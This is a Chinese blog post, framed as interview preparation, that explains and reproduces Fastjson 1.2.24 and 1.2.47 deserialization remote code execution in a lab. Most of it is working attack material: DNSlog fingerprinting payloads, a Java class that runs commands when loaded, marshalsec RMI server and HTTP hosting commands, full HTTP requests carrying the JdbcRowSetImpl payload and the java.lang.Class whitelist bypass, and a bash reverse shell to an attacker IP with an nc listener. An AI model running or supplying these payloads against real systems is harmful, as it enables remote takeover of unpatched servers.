首页 > 其他分享 >一文读懂面试官都在问的Fastjson漏洞

一文读懂面试官都在问的Fastjson漏洞

时间:2023-05-22 13:02:07浏览次数:64  
标签:Fastjson fastjson 面试官 java YikJiang 读懂 JSON 序列化 type

Fastjson1.2.24-RCE漏洞

漏洞简介

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

指纹特征

  1. 根据返回包判断

    任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!

    image-20230420173222817

  2. 利用DNSlog盲打

    构造以下payload,利用sdnslog平台接收。

     {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

    1.2.67版本后payload

     {"@type":"java.net.Inet4Address","val":"dnslog"}
     {"@type":"java.net.Inet6Address","val":"dnslog"}
     畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

     

     POST / HTTP/1.1
     Host: 192.168.72.128:8090
     User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
     Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
     Accept-Encoding: gzip, deflate
     Connection: close
     Upgrade-Insecure-Requests: 1
     Content-Type: application/json
     Content-Length: 71
     ​
     {"YikJiang":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}

    image-20230418112140106

    image-20230418112243587

  3. Java站并且传的数据是JSON格式的都可以尝试

  4. Burp插件检测

漏洞原理

一、原理概述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,autoType标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,造成远程代码执行。

因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

在fastjson中我们使用 JdbcRowSetImpl进行反序列化的攻击,我们给此类中的setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞

二、Fastjson

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

三、AutoType

fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。

对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

  1. 1、基于属性

  2. 2、基于setter/getter

而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。我们对java类进行序列化的时候,fastjson会自动扫描其中的get方法,将里边的字段值序列化到JSON的字符串中,当类包含了一个接口或者抽象了的时候,使用fastjson进行序列化的时候就会将子类型抹去,只留下接口(抽象类)的类型,反序列化的时候就无法拿到原始的类型。

但是使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,这个就是AutoType,和引入AutoType的原因。

因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

四、@type

@typefastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjsonJSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。

五、 JNDI 注入

1、JNDI是什么

JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

2、lookup函数

如果lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

六、RMI

RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

七、LDAP

LDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。

八、JdbcRowSetImpl利用链

在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击,JdbcRowSetImpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。只要制定了@type的类型,他就会自动调用对应的类来解析。

这样我们就可以构造我们的利用链。在@type的类型为JdbcRowSetImpl类型的时候,JdbcRowSetImpl类就会进行实例化,那么只要将dataSourceName传给lookup方法,就可以保证能够访问到远程的攻击服务器,再使用设置autoCommit属性对lookup进行触发就可以了。整个过程如下: 通过设置dataSourceName将属性传参给lookup的方法—>设置autoCommit属性,利用SetAutoCommit函数触发connect函数—>触发connect函数下面lookup函数就会使用刚刚设置的dataSourceName参数,即可通过RMI访问到远程服务器,从而执行恶意指令。 exploit如下:

 {“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://192.168.17.39:9999/Exploit”,”autoCommit”:true}

值得注意的是: 1、dataSourceName 需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先etDataSourceName,然后再setAutoCommit。 2、rmi的url后面跟上要获取的我们远程factory类名,因为在lookup()里面会提取路径下的名字作为要获取的类。

九、触发流程图

image-20230416120023552

漏洞复现

1、访问靶机

靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

image-20230417164130976

2、攻击环节

a.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译

 // javac YikJiang.java
 import java.lang.Runtime;
 import java.lang.Process;
 
 public class YikJiang {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/YikJiang0916"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
 }

b.终端进行编译

注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天

 javac .\YikJiang.java

c.编译完成后,会发现当前目录下生成了YikJiang.class文件

d.利用python启动临时的http服务,端口为8888

 python.exe -m http.server 8888

image-20230418103833603

e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

启动RMI服务器,监听8888端口,并指定加载远程类YikJiang.class

 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 777

image-20230418104029745

g.修改提交模式和Content-Typeapplication/json,发送payload

POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.161:777/YikJiang",
"autoCommit":true
}
}

image-20230418104051561

3、攻击结果

进入doker容器docker exec -it 6549e687ad97 /bin/bash

image-20230418104218435

Fastjson1.2.47-RCE漏洞

漏洞简介

fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令

漏洞复现

在1.2.24版本漏洞复现中,我们利用fastjson漏洞进行了命令执行,1.2.27中,我们就尝试反弹shell(其实原理都相同)

1、访问靶机

靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

image-20230420173104950

2、攻击环节

a.我们构造反弹Shell

构造反弹shell的方式有很多种,这里用Hack-Tools插件进行构造

bash -i >& /dev/tcp/192.168.1.161/6666 0>&1

image-20230420173642692

b.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译

import java.lang.Runtime;
import java.lang.Process;

public class YikJiang {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

b.终端进行编译

注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天

javac .\YikJiang.java

c.编译完成后,会发现当前目录下生成了YikJiang.class文件

d.利用python启动临时的http服务,端口为8888

Python2.0 python2 -m SimpleHTTPServer 8888

Python3.0 python3 -m http.server 8888

python.exe -m http.server 8888

image-20230420174718130

image-20230420174945006

e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

启动RMI服务器,并指定加载远程类YikJiang.class

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 9999

image-20230420175508334

g.本地开启监听nc -lvp 6666

image-20230420175754058

h.修改提交模式和Content-Typeapplication/json,发送payload

POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 287

{

"a":{

    "@type":"java.lang.Class",

    "val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

    "@type":"com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName":"rmi://192.168.1.161:9999/YikJiang",

    "autoCommit":true

}

image-20230420175836324

3、攻击结果

发送成功后,RMI服务器记录了请求信息,并且成功反弹Shell

image-20230420175900012

 

标签:Fastjson,fastjson,面试官,java,YikJiang,读懂,JSON,序列化,type
From: https://www.cnblogs.com/YikJiang/p/17420339.html

相关文章

  • 读懂中国书籍推荐
    读懂中国置身事内乡土中国生育制度费孝通八次危机江村经济土地制度与中国发展宏观经济学25讲中国视角徐高金融经济学25讲徐高筚路维艰中国社会主义路径的五次选择中国历代政治得失钱穆县乡中国分析与思考黄奇帆......
  • 面试官:React怎么做性能优化
    前言最近一直在学习关于React方面的知识,并有幸正好得到一个机会将其用在了实际的项目中。所以我打算以博客的形式,将我在学习和开发(React)过程中遇到的问题记录下来。这两天遇到了关于组件不必要的重复渲染问题,看了很多遍官方文档以及网上各位大大们的介绍,下面我会通过一些demo结......
  • 面试官让你说说react状态管理?
    开发者普遍认为状态是组件的一部分,但是同时却又在剥离状态上不停的造轮子,这不是很矛盾么?对于一个最简单的文本组件而言functionText(){const[text,setText]=useState('载入')return(){<p>{text}</p>}}你觉得应该把text从Text组件中剥离么?如果......
  • 大厂面试官带你Get求职面试核心技巧
    本文首发自[慕课网],想了解更多IT干货内容,程序员圈内热闻,欢迎关注"慕课网"及“慕课网公众号”!作者:Brain|慕课网名师Hello,大家好,我是Brian老师,在开发领域摸爬滚打、锤炼了10年,大坑、小坑、团队管理、技术变革等问题层出不穷,也熬过无数的夜,运用各种方案解决问题,不过值得庆幸的是我......
  • 面试官:MySQL 日期时间类型怎么选?
    构建数据库写程序避免不了使用日期和时间,对于数据库来说,有多种日期时间字段可供选择,如timestamp和datetime以及使用int来存储unixtimestamp。不仅新手,包括一些有经验的程序员还是比较迷茫,究竟我该用哪种类型来存储日期时间呢?那我们就一步一步来分析他们的特点,这样我们根据......
  • 使用fastjson出现的属性识别错误
    fastjson序列化类的时候,JSONObjct.toJSONString返回的string字符串中一直出现预想之外的字段,后来看了toJSONString里的源码,发现是根据”set/get“开头的方法去生成属性直接跳过@JSONField所以说类里加特殊方法不要以”set/get“开头的方法名......
  • com-alibaba-fastjson转换json时默认将属性第一个字母转小写
    问题描述将实体类对象转为json字符串的时候,会将属性名首字母改为小写例如此出User队形有两个属性,USER_NAME和USER_AGE,首字母均为大写将实体类对象转为JSON后首字母全都转换为了小写解决方法这是因为阿里巴巴的fastjson框架默认使用了JavaBean规范中的命名约定,将属性名首字......
  • fastjson中$ref的坑
    相信不少人都遇到过,用fastjson进行序列化时会遇到属性出现$ref的情况,本质是fastjson在处理对象引用时默认不展开,需要自己指定序列化参数。写个DEMO演示一下:1JSONObjectjson=newJSONObject();2JSONObjectprop=newJSONObject();3prop.put("name","test");4pro......
  • java代码中fastjson生成字符串和解析字符串的方法和javascript文件中字符串和json数组
    1.java代码中fastjson生成字符串和解析字符串的方法List<TemplateFull>templateFulls=newArrayList<TemplateFull>();JSONArrayjsonArr=newJSONArray();jsonArr.addAll(templateFulls);StringjsonStr=jsonArr.toJSONString();System.out.pr......
  • 字节面试官心声:个个都说会自动化,结果面试一问细节全露馅了
    今年部门要招三个自动化测试,年前我面试了几十位候选人。发现一个很奇怪的现象,面试中一问到元素定位、框架api、脚本编写之类的,很多候选人都对答如流。但是一问到实际项目,比如“如何从0开始搭建自动化体系”、“如果让你来推广自动化,该如何设计方案”。大多数人都避重就轻、含糊其......